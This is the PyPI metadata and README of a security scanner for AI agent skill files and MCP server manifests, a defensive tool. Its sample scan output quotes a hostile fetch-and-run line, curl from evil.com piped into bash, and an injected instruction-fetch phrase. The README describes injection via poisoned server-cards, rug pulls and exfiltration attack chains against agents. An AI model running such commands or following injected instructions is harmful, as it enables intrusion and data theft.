Metadata-Version: 2.4
Name: bawbel-scanner
Version: 1.1.1
Summary: Agentic AI component security scanner — detects AVE vulnerabilities
Author-email: Bawbel <bawbel.io@gmail.com>
License: Apache-2.0
Project-URL: Homepage, https://bawbel.io
Project-URL: Documentation, https://bawbel.io/docs
Project-URL: Repository, https://github.com/bawbel/bawbel-scanner
Project-URL: Bug Tracker, https://github.com/bawbel/bawbel-scanner/issues
Project-URL: Changelog, https://github.com/bawbel/bawbel-scanner/releases
Project-URL: AVE Standard, https://github.com/bawbel/bawbel-ave
Keywords: security,ai,scanner,ave,agentic,mcp,llm,skill,prompt-injection
Classifier: Development Status :: 5 - Production/Stable
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: License :: OSI Approved :: Apache Software License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Classifier: Topic :: Software Development :: Quality Assurance
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: click>=8.1.0
Requires-Dist: rich>=13.7.0
Requires-Dist: pydantic>=2.5.0
Provides-Extra: yara
Requires-Dist: yara-python>=4.5.0; extra == "yara"
Provides-Extra: semgrep
Requires-Dist: semgrep>=1.60.0; extra == "semgrep"
Provides-Extra: llm
Requires-Dist: litellm>=1.30.0; extra == "llm"
Requires-Dist: jsonschema~=4.25.1; extra == "llm"
Provides-Extra: magika
Requires-Dist: magika>=0.5.0; extra == "magika"
Provides-Extra: watch
Requires-Dist: watchdog>=4.0.0; extra == "watch"
Provides-Extra: all
Requires-Dist: yara-python>=4.5.0; extra == "all"
Requires-Dist: semgrep>=1.60.0; extra == "all"
Requires-Dist: litellm>=1.30.0; extra == "all"
Requires-Dist: magika>=0.5.0; extra == "all"
Requires-Dist: watchdog>=4.0.0; extra == "all"
Requires-Dist: jsonschema~=4.25.1; extra == "all"
Provides-Extra: dev
Requires-Dist: pytest>=8.0.0; extra == "dev"
Requires-Dist: pytest-cov>=5.0.0; extra == "dev"
Requires-Dist: pytest-mock>=3.12.0; extra == "dev"
Requires-Dist: black>=24.4.0; extra == "dev"
Requires-Dist: flake8>=7.0.0; extra == "dev"
Requires-Dist: flake8-bugbear>=24.0.0; extra == "dev"
Requires-Dist: bandit>=1.7.8; extra == "dev"
Requires-Dist: pre-commit>=3.7.0; extra == "dev"
Requires-Dist: pip-audit>=2.7.0; extra == "dev"
Requires-Dist: build>=1.0.0; extra == "dev"
Requires-Dist: twine>=5.0.0; extra == "dev"
Dynamic: license-file

# Bawbel Scanner

**Agentic AI component security scanner that detects AVE vulnerabilities before they reach production.**

[![PyPI version](https://badge.fury.io/py/bawbel-scanner.svg)](https://pypi.org/project/bawbel-scanner/)
[![License](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE)
[![Python](https://img.shields.io/badge/python-3.10%2B-blue.svg)](https://pypi.org/project/bawbel-scanner/)
[![AVE Standard](https://img.shields.io/badge/AVE_Records-45-teal.svg)](https://github.com/bawbel/bawbel-ave)

<!-- mcp-name: io.github.bawbel/bawbel-scanner -->

Bawbel Scanner scans agentic AI components including SKILL.md files, MCP server manifests,
system prompts, and agent plugins for security vulnerabilities mapped to the
[AVE (Agentic Vulnerability Enumeration)](https://github.com/bawbel/bawbel-ave) standard.

---

## What's new in v1.1.0

**`bawbel scan-server-card`** scans MCP servers before your agent connects. It fetches
`.well-known/mcp.json` and scans all tool descriptions at the discovery layer, before
any tool call is made. This is the first dedicated scanner for the server-card attack surface.

**Toxic flow detection** finds when two findings combine into a complete attack chain.
A credential-read finding alone is HIGH. Combined with a data-exfil finding it becomes
CRITICAL 9.8 and the risk score is elevated automatically. 12 built-in attack chain
definitions are included.

**`bawbel scan-conformance`** scores MCP server manifests against the spec. It runs
18 checks and returns a grade from A+ to F, split across REQUIRED, RECOMMENDED, and
BEST PRACTICE tiers. Works on local files, live servers, and the official MCP registry.

**`bawbel pin` and `bawbel check-pins`** hash skill files and detect rug pulls. Hashes
are stored in `.bawbel-pins.json` committed to git so they are visible in diffs, shared
with the team, and work on any machine.

**OWASP MCP Top 10 mapping** on every finding. All 45 AVE records now include
`owasp_mcp` alongside the existing `owasp` (ASI) field.

**5 new AVE records (41-45)** covering the MCP 2026 attack surface: server-card
injection, REPL code mode payload injection, MCP App UI payload injection, async task
result poisoning, and cross-app-access escalation.

See [CHANGELOG.md](CHANGELOG.md) for the full list.

---

## Install

```bash
pip install bawbel-scanner
```

With optional engines:

```bash
pip install "bawbel-scanner[yara]"      # Stage 1b: YARA rules (39 rules)
pip install "bawbel-scanner[semgrep]"   # Stage 1c: Semgrep rules (41 rules)
pip install "bawbel-scanner[llm]"       # Stage 2: LLM semantic analysis
pip install "bawbel-scanner[magika]"    # Stage 0: file type verification via Google Magika
pip install "bawbel-scanner[watch]"     # Watch mode: re-scan on file change
pip install "bawbel-scanner[all]"       # Everything: yara + semgrep + llm + magika + watch
```

Stage 3 (behavioral sandbox) requires Docker. See [Stage 3](#stage-3--behavioral-sandbox).

---

## Quick Start

```bash
cp .env.example .env
source .env

bawbel version                                       # show version and active engines
bawbel scan ./my-skill.md                            # scan a file
bawbel scan ./skills/ --recursive                    # scan a directory
bawbel scan-server-card https://api.example.com      # scan an MCP server-card
bawbel ssc https://api.example.com                   # alias for scan-server-card
bawbel report ./my-skill.md                          # full remediation report
bawbel scan ./skills/ --fail-on-severity high        # exit 2 on HIGH+
bawbel scan ./skills/ --watch                        # re-scan on every change
bawbel scan ./skills/ --format json                  # JSON for tooling
bawbel scan ./skills/ --format sarif                 # SARIF for GitHub Security tab
bawbel pin ./skills/                                 # hash skill files to .bawbel-pins.json
bawbel check-pins ./skills/                          # check for rug pull drift
bawbel cp ./skills/                                  # alias for check-pins
bawbel scan-conformance ./server.json                # MCP spec conformance score
bawbel conform ./server.json                         # alias for scan-conformance
```

**Example output:**

```
Bawbel Scanner v1.1.0  ·  github.com/bawbel/bawbel-scanner
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Scanning:  malicious-skill.md
Type:      skill

FINDINGS

🔴  CRITICAL  AVE-2026-00001      External instruction fetch detected
   Line 7  fetch your instructions
   Engine: pattern
   OWASP:     ASI01 (Prompt Injection), ASI08 (Goal Hijacking)
   OWASP MCP: MCP04 (Software Supply Chain Attacks), MCP06 (Intent Flow Subversion)

🟠  HIGH      AVE-2026-00004      Shell pipe injection pattern detected
   Line 12  curl https://evil.com/setup.sh | bash
   Engine: pattern
   OWASP:     ASI01 (Prompt Injection), ASI07 (Tool Abuse)
   OWASP MCP: MCP05 (Command Injection & Execution), MCP06 (Intent Flow Subversion)

TOXIC FLOWS DETECTED
  These findings form complete attack chains.

  ⛓  CRITICAL  Remote Code Execution Chain  CVSS-AI 9.7
  Component fetches instructions from an external URL AND executes shell commands.
  Chain:    external-fetch → command-exec
  AVEs:     AVE-2026-00001, AVE-2026-00004
  OWASP MCP: MCP04 (Software Supply Chain Attacks), MCP05 (Command Injection & Execution)

SUMMARY
Risk score:   9.7 / 10  CRITICAL
Findings:     2
Toxic flows:  1
Scan time:    8ms
```

---

## Scanning MCP Server-Cards

MCP server-cards (`.well-known/mcp.json`) are the auto-discovery mechanism for
MCP 2026. An agent fetches the card on connection and reads all tool descriptions
before making a single call, making it a critical attack surface.

```bash
bawbel scan-server-card https://api.example.com
bawbel ssc https://api.example.com               # alias

bawbel ssc https://api.example.com --format json
bawbel ssc https://api.example.com --fail-on-severity high
```

A poisoned server-card injects behavioral instructions into the agent before it
makes a single tool call. `bawbel scan-server-card` is the first dedicated scanner
for this attack surface.

---

## MCP Spec Conformance Scoring

Conformance scoring checks whether an MCP server follows the spec, independent of
whether it contains malicious patterns. A server can be clean but still broken:
missing tool descriptions, deprecated transports, HTTP instead of HTTPS, or invalid
tool names.

```bash
bawbel scan-conformance ./server.json
bawbel conform ./server.json                     # alias

bawbel conform https://api.example.com
bawbel conform ac.tandem/docs-mcp --registry
bawbel conform ./server.json --fail-below 80
bawbel conform ./server.json --fail-non-conformant
```

**18 checks across 3 tiers:**

| Tier | Weight | Examples |
|---|---|---|
| REQUIRED | 3 | name, description, version, HTTPS, tool descriptions, valid tool names |
| RECOMMENDED | 2 | `$schema` ref, streamable-http transport, parameter descriptions |
| BEST PRACTICE | 1 | source repository, description length, no sensitive params in headers |

Grading: A+ (95-100), A (90-94), B (80-89), C (70-79), D (60-69), F (below 60)

See [MCP Conformance Guide](docs/guides/conformance.md) for full documentation.

---

## Tool Pinning

A rug pull is when an MCP server or skill file changes its content after you
installed and audited it. You scan it today and it is clean. Three weeks later
the tool description silently changes to exfiltrate every user query.

`bawbel pin` hashes your skill files and saves them to `.bawbel-pins.json`.
Commit that file. On every subsequent build, `bawbel check-pins` detects any hash
that has changed since you pinned it.

```bash
bawbel scan ./skills/ --recursive    # audit first
bawbel pin ./skills/                 # pin once satisfied
git add .bawbel-pins.json
git commit -m "chore: pin skill files"
bawbel check-pins ./skills/ --fail-on-drift
```

| | Bawbel `.bawbel-pins.json` | Snyk `~/.mcp-scan` |
|---|---|---|
| Visible in `git diff` | Yes | No |
| Reviewable in PRs | Yes | No |
| Shared with team automatically | Yes | No |
| Audit trail (`pinned_by`) | Yes | No |

See [Tool Pinning Guide](docs/guides/pinning.md) for full documentation.

---

## Toxic Flow Detection

Toxic flows are detected attack chains where two or more findings combine into a
complete, exploitable attack path.

```
AVE-2026-00003  credential-read   reads .env / API keys
AVE-2026-00026  data-exfil        encodes and transmits externally

Individually:   HIGH 8.5  +  CRITICAL 9.1
As a chain:     CRITICAL 9.8  Credential Exfiltration Chain
```

The risk score is elevated to the combined CVSS-AI value automatically. The
`toxic_flows` array appears in JSON output alongside `findings`.

**12 built-in attack chain definitions:**

| Chain | Capabilities | CVSS-AI |
|---|---|---|
| Credential Exfiltration | credential-read to data-exfil | CRITICAL 9.8 |
| Remote Code Execution | external-fetch to command-exec | CRITICAL 9.7 |
| Supply Chain RCE | supply-chain to command-exec | CRITICAL 9.6 |
| Goal Override + Execution | goal-override to command-exec | CRITICAL 9.5 |
| Lateral Movement + Execution | lateral-move to command-exec | CRITICAL 9.4 |
| Tool Poisoning + Exfiltration | tool-poison to data-exfil | CRITICAL 9.3 |
| Identity Spoof + Escalation | identity-spoof to permission-claim | CRITICAL 9.2 |
| Persistence + Exfiltration | persistence to data-exfil | CRITICAL 9.1 |
| Context Inject + Memory Write | context-inject to memory-write | HIGH 8.9 |
| Goal Override + Exfiltration | goal-override to data-exfil | HIGH 8.8 |
| Scope Expansion + Exfiltration | scope-expand to data-exfil | HIGH 8.7 |
| Covert Channel + Persistence | covert-channel to persistence | HIGH 8.6 |

See [Toxic Flow Detection Guide](docs/guides/toxic-flows.md) for full documentation.

---

## False Positive Reduction

Bawbel ships a 5-layer false positive reduction system:

| Layer | Mechanism | FP reduction |
|---|---|---|
| FP-1 | Code fence stripping: ` ``` ` blocks skipped before static analysis | ~60% |
| FP-2 | Preceding-line context: "Never do this:" suppresses the line below | ~15% |
| FP-3 | Confidence scoring: table rows, headings, `docs/` paths penalised | ~10% |
| FP-4 | Meta-analyzer: one LLM call per file validates medium-confidence findings | ~7% |
| FP-5 | File-type profiles: documentation scanned at higher threshold (0.85) | ~3% |

See [False Positive Reduction guide](docs/guides/false-positive-reduction.md) for full details.

---

## Detection Pipeline

Six stages run in sequence:

| Stage | Engine | Install | What it catches |
|---|---|---|---|
| 0 | Magika | `pip install "bawbel-scanner[magika]"` | Content-type verification, catches ELF disguised as .md |
| 1a | Pattern | nothing, always active | 37 regex rules, all AVE IDs |
| 1b | YARA | `pip install "bawbel-scanner[yara]"` | Binary and complex text combinations, 39 rules |
| 1c | Semgrep | `pip install "bawbel-scanner[semgrep]"` | Structural and multi-line patterns, 41 rules |
| 2 | LLM | `pip install "bawbel-scanner[llm]"` + API key | Obfuscated, nuanced, multi-paragraph injections |
| 3 | Sandbox | Docker + `BAWBEL_SANDBOX_ENABLED=true` | Runtime behaviour, network egress, filesystem |

**45 built-in AVE records** covering the full agentic attack surface including
goal override, jailbreak, hidden instructions, external fetch, tool call injection,
permission escalation, credential exfiltration, PII exfiltration, shell injection,
destructive commands, cryptocurrency drain, trust escalation, persistence, MCP tool
poisoning, system prompt extraction, RAG injection, MCP server impersonation, memory
poisoning, cross-agent A2A injection, lateral movement, vision prompt injection,
covert channels, and the new MCP 2026 classes in AVE-2026-00041 through 00045.

---

## Stage 2: LLM Semantic Analysis

```bash
pip install "bawbel-scanner[llm]"

export ANTHROPIC_API_KEY=sk-ant-...   # auto-selects claude-haiku-4-5-20251001
export OPENAI_API_KEY=sk-...          # auto-selects gpt-4o-mini
export BAWBEL_LLM_MODEL=ollama/mistral  # local model, no API key needed

bawbel scan ./my-skill.md             # Stage 2 activates automatically
```

---

## Stage 3: Behavioral Sandbox

```bash
export BAWBEL_SANDBOX_ENABLED=true
bawbel scan ./my-skill.md
```

Hybrid image strategy: checks local Docker cache first, pulls `bawbel/sandbox:latest`
from Docker Hub, then builds from the bundled Dockerfile as an air-gapped fallback.

```bash
BAWBEL_SANDBOX_IMAGE=local
BAWBEL_SANDBOX_IMAGE=registry.corp.com/bawbel/sandbox@sha256:abc
```

See [Detection Engines Guide](docs/guides/engines.md) for full sandbox documentation.

---

## Use as a Library

```python
from scanner import scan

result = scan("/path/to/skill.md")

if result.is_clean:
    print("Clean")
else:
    for finding in result.findings:
        print(f"[{finding.severity.value}] {finding.ave_id}  {finding.title}")
        print(f"  Engine: {finding.engine}  CVSS-AI: {finding.cvss_ai}")

    for flow in result.toxic_flows:
        print(f"\n⛓  TOXIC FLOW: {flow.title}  CVSS-AI {flow.cvss_ai}")
        print(f"   Chain: {' > '.join(flow.capabilities)}")

    print(f"\nRisk score: {result.risk_score:.1f} / 10")

# Conformance scoring
from scanner.conformance import score_conformance
import json

manifest = json.load(open("server.json"))
report = score_conformance(manifest)
print(f"Conformance: {report.score:.0f}/100  Grade: {report.grade}")
```

---

## CI/CD Integration

### GitHub Actions

```yaml
name: Bawbel Security Scan
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      contents: read
    steps:
      - uses: actions/checkout@v4
      - uses: bawbel/bawbel-integrations@v1
        id: bawbel
        with:
          path: .
          fail-on-severity: high
          format: sarif
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: ${{ steps.bawbel.outputs.sarif-file }}
```

### VS Code Extension

Install **Bawbel Scanner** from the VS Code Marketplace. The CLI is installed
automatically on first activation. Includes inline diagnostics, status bar,
auto-scan on save, and right-click suppression.

### Pre-commit

```yaml
repos:
  - repo: https://github.com/bawbel/bawbel-integrations
    rev: v1
    hooks:
      - id: bawbel-scan
```

See [bawbel/bawbel-integrations](https://github.com/bawbel/bawbel-integrations) for
GitLab CI, Jenkins, CircleCI, Azure DevOps, and Bitbucket examples.

---

## Configuration

| Variable | Default | Description |
|---|---|---|
| `BAWBEL_LOG_LEVEL` | `WARNING` | DEBUG, INFO, WARNING, or ERROR |
| `ANTHROPIC_API_KEY` | | Enables Stage 2 via Claude |
| `OPENAI_API_KEY` | | Enables Stage 2 via OpenAI |
| `BAWBEL_LLM_MODEL` | auto | Any LiteLLM model string |
| `BAWBEL_LLM_ENABLED` | `true` | Set `false` to disable Stage 2 |
| `BAWBEL_SANDBOX_ENABLED` | `false` | Set `true` to enable Stage 3 |
| `BAWBEL_SANDBOX_IMAGE` | `default` | `default`, `local`, or custom image |
| `BAWBEL_SANDBOX_TIMEOUT` | `30` | Container timeout in seconds |
| `BAWBEL_SANDBOX_NETWORK` | `none` | `none` for isolated, `bridge` for internet |
| `BAWBEL_NO_IGNORE` | `false` | Set `true` to override all suppressions |

---

## Suppression

Suppressed findings are never deleted. They appear in `suppressed_findings` in
JSON output for a full audit trail.

Inline suppression on the finding line:

```markdown
fetch https://internal.co  <!-- bawbel-ignore: bawbel-external-fetch -->
```

File and directory suppression via `.bawbelignore`:

```
tests/fixtures/**
docs/examples/bad.md
```

Audit mode to bypass all suppressions:

```bash
bawbel scan ./skills/ --no-ignore
```

See [Suppression Guide](docs/guides/suppression.md) for full documentation.

---

## AVE Standard

Every finding maps to a published AVE record, the CVE equivalent for agentic AI.

- Browse records: [github.com/bawbel/bawbel-ave](https://github.com/bawbel/bawbel-ave)
- Threat intelligence API: [api.piranha.bawbel.io](https://api.piranha.bawbel.io)
- Report a vulnerability: open an issue on [bawbel-ave](https://github.com/bawbel/bawbel-ave/issues)

---

## Documentation

| Resource | Link |
|---|---|
| Full docs | [bawbel.io/docs](https://bawbel.io/docs) |
| Getting started | [docs/guides/getting-started.md](docs/guides/getting-started.md) |
| Detection engines | [docs/guides/engines.md](docs/guides/engines.md) |
| Configuration | [docs/guides/configuration.md](docs/guides/configuration.md) |
| CI/CD integration | [docs/guides/cicd-integration.md](docs/guides/cicd-integration.md) |
| Python API | [docs/api/scan.md](docs/api/scan.md) |
| Suppression | [docs/guides/suppression.md](docs/guides/suppression.md) |
| Tool pinning | [docs/guides/pinning.md](docs/guides/pinning.md) |
| Toxic flow detection | [docs/guides/toxic-flows.md](docs/guides/toxic-flows.md) |
| MCP conformance scoring | [docs/guides/conformance.md](docs/guides/conformance.md) |
| False positive reduction | [docs/guides/false-positive-reduction.md](docs/guides/false-positive-reduction.md) |
| Writing rules | [docs/guides/writing-rules.md](docs/guides/writing-rules.md) |
| Contributing | [CONTRIBUTING.md](CONTRIBUTING.md) |
| Changelog | [CHANGELOG.md](CHANGELOG.md) |

---

## License

Apache 2.0. See [LICENSE](LICENSE).

Built by [Bawbel](https://bawbel.io) · [bawbel.io@gmail.com](mailto:bawbel.io@gmail.com)
